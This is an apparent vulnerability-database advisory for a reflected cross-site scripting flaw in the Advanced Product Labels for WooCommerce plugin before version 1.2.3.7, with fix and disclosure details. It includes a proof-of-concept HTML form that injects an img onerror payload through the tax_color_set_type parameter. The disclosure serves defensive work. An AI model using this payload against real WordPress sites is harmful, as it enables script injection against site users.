WordPress Plugin Vulnerabilities
Advanced Product Labels for WooCommerce < 1.2.3.7 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the tax_color_set_type parameter before outputting it back in the berocket_apl_color_listener AJAX action's response, leading to a Reflected Cross-Site Scripting
Proof of Concept
As any authenticated user:
<html>
<form action="https://example.com/wp-admin/admin-ajax.php?action=berocket_apl_color_listener" method="POST">
<input type="text" value='"><img src onerror=alert(/XSS/)>' name="tax_color_set_type">
<input type="submit" value="Send">
</form>
</html> Affects Plugins
Fixed in version 1.2.3.7
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-02-15 (about 11 months ago)
Added
2022-02-15 (about 11 months ago)
Last Updated
2022-04-08 (about 9 months ago)